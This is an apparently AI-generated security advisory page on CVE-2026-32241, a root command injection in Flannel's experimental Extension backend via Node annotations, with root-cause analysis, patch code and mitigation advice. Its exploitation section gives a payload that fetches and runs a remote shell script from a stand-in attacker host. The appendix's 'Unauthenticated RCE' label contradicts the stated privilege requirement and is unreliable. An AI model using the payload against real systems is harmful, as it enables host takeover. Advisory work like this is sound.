CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-32241

CVE-2026-32241: Command Injection in Flannel Experimental Extension Backend

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 27, 2026·6 min read·27 visits

Executive Summary (TL;DR)

The Flannel experimental Extension backend evaluates unsanitized node annotation data through a shell wrapper. Attackers with RBAC permissions to modify Node objects can inject shell commands, achieving root-level execution on the Kubernetes node.

Flannel versions prior to 0.28.2 contain a high-severity command injection vulnerability in the experimental Extension backend. Unsanitized Kubernetes Node annotations are passed directly to a system shell, permitting an attacker with node modification privileges to execute arbitrary commands with root permissions on the host.

Vulnerability Overview

Flannel is a network fabric designed for Kubernetes clusters. It supports multiple backends to manage container networking, including an experimental Extension backend. This backend allows administrators to prototype custom networking logic using external scripts or binaries.

Versions of Flannel prior to 0.28.2 contain a command injection vulnerability (CWE-77) within this Extension backend. The flaw occurs when the backend processes subnet lifecycle events and reads configuration data from Kubernetes Node annotations. The application fails to sanitize this input before passing it to a system shell.

An attacker with low-level Kubernetes RBAC permissions can exploit this flaw by modifying a Node's annotations. The vulnerability yields arbitrary command execution with root privileges on the underlying host node. The attack complexity is elevated because the cluster must explicitly enable the experimental Extension backend.

Root Cause Analysis

The root cause lies in the Extension backend's reliance on shell wrappers to execute user-defined hooks. Flannel triggers commands during lifecycle events such as PreStartupCommand, PostStartupCommand, SubnetAddCommand, and SubnetRemoveCommand. These hooks are designed to pass relevant subnet data to external scripts for processing.

In vulnerable versions, the application reads data from the flannel.alpha.coreos.com/backend-data Node annotation. The application unmarshals this JSON data and pipes it directly into the configured command. Crucially, the execution mechanism utilizes the sh -c pattern to evaluate the command string.

Passing unsanitized, user-controlled input into a shell wrapper creates a textbook command injection condition. The shell interpreter evaluates metacharacters within the input stream. An attacker can use semicolons, backticks, or command substitution constructs to break out of the intended command context and execute arbitrary system commands.

The vulnerability requires the attacker to control the contents of the backend-data annotation. Kubernetes API access controls govern this annotation. Once the attacker injects the payload, the Flannel daemon automatically processes the annotation update or the next subnet event, triggering the payload execution.

Code Analysis

Analysis of the vulnerable code reveals the unsafe command execution pattern in the subnet event handler. The runCmd function wraps the execution logic and accepts the attacker-controlled backendData as input. This input is formatted and passed to the sh binary along with the user-defined command string.

The vulnerable implementation operates identically to the following pattern:

// Vulnerable execution pattern
cmd_output, err := runCmd([]string{
    fmt.Sprintf("SUBNET=%s", evt.Lease.Subnet),
    fmt.Sprintf("PUBLIC_IP=%s", evt.Lease.Attrs.PublicIP)},
    backendData, // Attacker-controlled JSON payload
    "sh", "-c", n.subnetAddCommand)

The application passes the backendData directly to the shell, allowing the shell to parse and execute any embedded metacharacters.

Commit 08bc9a4c990ae785d2fcb448f4991b58485cd26a mitigates this flaw by eliminating the shell wrapper entirely. The patch transitions the execution model to use the os/exec package directly. Commands are split into discrete arguments using strings.Fields, preventing the operating system from interpreting shell metacharacters.

The patched code also introduces a custom expandVars function to handle environment variable interpolation safely.

// Patched implementation excerpt
func expandVars(envMap map[string]string, args []string) []string {
    expanded := make([]string, len(args))
    for i, a := range args {
        expanded[i] = os.Expand(a, func(key string) string { return envMap[key] })
    }
    return expanded
}

This function uses os.Expand with a strictly controlled environment map, ensuring that user-provided data cannot manipulate the command structure.

Exploitation Methodology

Exploiting CVE-2026-32241 requires network access to the Kubernetes API server. The attacker must possess credentials or a service account token with RBAC permissions that allow updating Node resources. Specifically, the attacker needs the ability to modify Node annotations.

The attacker initiates the attack by crafting a malicious payload formatted as JSON. This payload includes standard shell command separators followed by the target command. The attacker writes this payload to the flannel.alpha.coreos.com/backend-data annotation on a target Node object.

An example payload takes the form {"key": "value; curl http://attacker.com/shell.sh | sh;"}. Once the Kubernetes API server accepts the Node update, the Flannel daemon running on the respective node observes the change. The daemon unmarshals the annotation and invokes the Extension backend hook.

The Flannel process passes the payload string to the shell wrapper. The shell executes the benign portion of the payload, reaches the semicolon, and subsequently executes the attacker's injected command. The command runs within the context of the Flannel daemon, which typically operates as root on the host system.

Impact Assessment

Successful exploitation of this vulnerability yields complete compromise of the affected Kubernetes node. The Flannel daemon requires elevated privileges to manage host networking interfaces, routing tables, and iptables rules. Consequently, the injected command executes with root privileges on the underlying host operating system.

An attacker with root access to a Kubernetes node can access sensitive files, including Kubelet credentials, pod service account tokens, and mounted secrets. These credentials facilitate lateral movement across the cluster. The attacker can escalate privileges within the Kubernetes control plane or access data residing in other pods scheduled on the compromised node.

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 7.5 (High). The high attack complexity (AC:H) reflects the specific configuration requirement: the cluster must utilize the experimental Extension backend. The low privilege requirement (PR:L) indicates the need for basic Kubernetes API access.

The impact remains isolated to clusters explicitly configured to use the experimental backend. Clusters utilizing the default vxlan, wireguard, or host-gw backends are not vulnerable to this specific attack path.

Remediation and Mitigation

The primary remediation strategy requires upgrading the Flannel daemonset to version 0.28.2 or later. Administrators should apply the updated manifests to the Kubernetes cluster. The daemonset upgrade will restart the Flannel pods across all nodes, applying the patched os/exec implementation.

Administrators who cannot immediately patch the deployment must disable the experimental Extension backend. Flannel supports several stable, production-ready backends that do not execute user-defined scripts. Switching the network configuration to use vxlan or wireguard completely eliminates the vulnerable code path.

Defense-in-depth measures include restricting Kubernetes RBAC permissions. Administrators should audit roles and clusterroles to ensure that only trusted identities possess the ability to modify Node resources. Removing the patch and update verbs for Node objects from untrusted service accounts limits the attack surface.

Security teams should monitor Kubernetes audit logs for suspicious modifications to Node annotations. Specifically, alerts should trigger on unauthorized changes to the flannel.alpha.coreos.com/backend-data key. Detecting shell metacharacters within this annotation provides a strong indicator of attempted exploitation.

Official Patches

flannel-ioGitHub Security Advisory
flannel-ioFlannel v0.28.2 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

flannel-io/flannel < 0.28.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
flannel
flannel-io
< v0.28.2v0.28.2
AttributeDetail
CWE IDCWE-77
Attack VectorNetwork
Privileges RequiredLow (Node Annotation Access)
CVSS v3.1 Score7.5 (High)
Exploit StatusUnauthenticated RCE (Host Root)
Patched Versionv0.28.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Vulnerability Timeline

Official fix commit pushed to the Flannel repository.
2026-03-09
Vulnerability publicly disclosed and CVE-2026-32241 assigned.
2026-03-27
Version v0.28.2 released containing the patch.
2026-03-27

References & Sources

  • [1]NVD - CVE-2026-32241
  • [2]GitHub Advisory: GHSA-vchx-5pr6-ffx2
  • [3]Fix Commit: 08bc9a4c990ae785d2fcb448f4991b58485cd26a

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•39 minutes ago•CVE-2026-42508
9.1

CVE-2026-42508: Bypass of SSH Certificate Authority Revocation in golang.org/x/crypto/ssh/knownhosts

An issue was discovered in Go's `golang.org/x/crypto/ssh/knownhosts` package where a revoked Certification Authority (CA) public key was not correctly checked for revocation during SSH host certificate validation. This allowed clients or servers utilizing the library to validate and trust host certificates issued by explicitly revoked CAs.

Alon Barad
Alon Barad
5 views•5 min read
•about 2 hours ago•CVE-2026-46595
10.0

CVE-2026-46595: Critical Authorization Bypass via source-address Validation Failure in golang.org/x/crypto/ssh

An authorization bypass vulnerability exists in the golang.org/x/crypto/ssh package prior to version 0.52.0. When an SSH server is configured with a custom VerifiedPublicKeyCallback that returns a Permissions object containing a source-address critical option, the server fails to validate and enforce the restriction. This allows remote clients with valid public keys to bypass IP-based access restrictions and authenticate from unauthorized network locations.

Alon Barad
Alon Barad
3 views•7 min read
•about 4 hours ago•CVE-2026-48517
7.5

CVE-2026-48517: Remote Code Execution via Typeless Deserialization Blocklist Bypass in MessagePack-CSharp

A critical vulnerability exists in MessagePack-CSharp's typeless deserialization mechanism where configured blocklists fail to recursively inspect nested types. An attacker can bypass security restrictions by wrapping unauthorized types in arrays or generic collections, allowing insecure deserialization and remote code execution.

Alon Barad
Alon Barad
3 views•7 min read
•about 8 hours ago•CVE-2026-48713
9.1

CVE-2026-48713: Remote Prototype Pollution in i18next-fs-backend

A critical prototype pollution vulnerability exists in the i18next-fs-backend Node.js package (prior to version 2.6.6) through its translation persistence layer. When handling missing translation keys, insecure traversal of JSON objects via the getLastOfPath function allows remote, unauthenticated attackers to mutate Object.prototype, potentially leading to denial of service, security bypasses, or remote code execution.

Alon Barad
Alon Barad
3 views•7 min read
•1 day ago•CVE-2026-48708
7.5

CVE-2026-48708: Concurrent Template Parsing Race Condition in OliveTin leading to Cross-Request Command Contamination

CVE-2026-48708 details a critical concurrency synchronization flaw in OliveTin versions < 3000.13.0. A shared package-level text/template.Template instance is accessed concurrently across multiple goroutines without proper synchronization. When concurrent request processing occurs, a race condition causes Go runtime panics or command contamination across separate sessions, enabling denial of service or execution of contaminated commands.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-48709
3.7

CVE-2026-48709: Missing Authorization in OliveTin ValidateArgumentType RPC Endpoint

A missing authorization vulnerability in the OliveTin system allows unauthenticated remote actors to query the ValidateArgumentType RPC endpoint. By exploiting this flaw, attackers can execute systematic brute-force and side-channel validation attacks to enumerate active action binding IDs, parameter structures, and operational metadata, bypassing configured guest authentication barriers.

Amit Schendel
Amit Schendel
5 views•7 min read